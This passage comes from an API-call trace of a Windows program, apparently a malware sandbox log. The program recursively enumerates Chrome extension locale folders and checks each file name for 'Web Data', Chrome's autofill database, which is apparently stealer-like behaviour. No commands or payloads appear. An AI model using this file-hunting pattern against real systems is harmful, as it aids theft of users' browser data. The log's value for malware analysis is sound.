Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pt_PT" [0056.302] LocalFree (hMem=0x2daca0) returned 0x0 [0056.302] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pt_PT") returned 136 [0056.302] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pt_PT") returned 136 [0056.302] lstrlenA (lpString="\\*.*") returned 4 [0056.302] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2daec8 [0056.302] lstrcpyA (in: lpString1=0x2daec8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pt_PT" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pt_PT") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pt_PT" [0056.302] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pt_PT", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pt_PT\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pt_PT\\*.*" [0056.302] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.302] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.302] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.302] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.302] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.302] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.302] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.302] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.302] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.302] LocalFree (hMem=0x2daec8) returned 0x0 [0056.302] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.302] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.302] lstrcmpiA (lpString1=".", lpString2="ro") returned -1 [0056.302] lstrcmpiA (lpString1="..", lpString2="ro") returned -1 [0056.302] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.302] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.302] lstrlenA (lpString="\\") returned 1 [0056.302] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.302] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.302] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.302] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.302] lstrlenA (lpString="ro") returned 2 [0056.302] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dadb0 [0056.302] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.302] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="ro" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ro") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ro" [0056.303] LocalFree (hMem=0x2daca0) returned 0x0 [0056.303] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ro") returned 133 [0056.303] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ro") returned 133 [0056.303] lstrlenA (lpString="\\*.*") returned 4 [0056.303] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2daec0 [0056.303] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ro" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ro") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ro" [0056.303] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ro", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ro\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ro\\*.*" [0056.303] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ro\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.303] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.303] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.303] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.303] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.303] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.303] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.303] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.303] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.303] LocalFree (hMem=0x2daec0) returned 0x0 [0056.303] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.303] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.303] lstrcmpiA (lpString1=".", lpString2="ru") returned -1 [0056.303] lstrcmpiA (lpString1="..", lpString2="ru") returned -1 [0056.303] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.303] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.303] lstrlenA (lpString="\\") returned 1 [0056.303] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.303] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.303] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.303] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.303] lstrlenA (lpString="ru") returned 2 [0056.303] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dadb0 [0056.303] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.303] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="ru" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ru") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ru" [0056.303] LocalFree (hMem=0x2daca0) returned 0x0 [0056.303] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ru") returned 133 [0056.303] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ru") returned 133 [0056.303] lstrlenA (lpString="\\*.*") returned 4 [0056.303] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2daec0 [0056.303] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ru" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ru") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ru" [0056.303] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ru", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ru\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ru\\*.*" [0056.303] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ru\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.303] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.303] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.304] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.304] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.304] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.304] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.304] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.304] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.304] LocalFree (hMem=0x2daec0) returned 0x0 [0056.304] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.304] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.304] lstrcmpiA (lpString1=".", lpString2="sk") returned -1 [0056.304] lstrcmpiA (lpString1="..", lpString2="sk") returned -1 [0056.304] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.304] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.304] lstrlenA (lpString="\\") returned 1 [0056.304] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.304] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.304] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.304] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.304] lstrlenA (lpString="sk") returned 2 [0056.304] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dadb0 [0056.304] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.304] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="sk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sk" [0056.304] LocalFree (hMem=0x2daca0) returned 0x0 [0056.304] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sk") returned 133 [0056.304] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sk") returned 133 [0056.304] lstrlenA (lpString="\\*.*") returned 4 [0056.304] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2daec0 [0056.304] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sk" [0056.304] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sk", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sk\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sk\\*.*" [0056.304] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sk\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.304] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.304] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.304] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.304] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.304] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.304] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.304] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.304] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.304] LocalFree (hMem=0x2daec0) returned 0x0 [0056.304] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.304] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.304] lstrcmpiA (lpString1=".", lpString2="sl") returned -1 [0056.304] lstrcmpiA (lpString1="..", lpString2="sl") returned -1 [0056.304] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.304] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.304] lstrlenA (lpString="\\") returned 1 [0056.305] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.305] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.305] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.305] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.305] lstrlenA (lpString="sl") returned 2 [0056.305] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dadb0 [0056.305] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.305] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="sl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sl" [0056.305] LocalFree (hMem=0x2daca0) returned 0x0 [0056.305] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 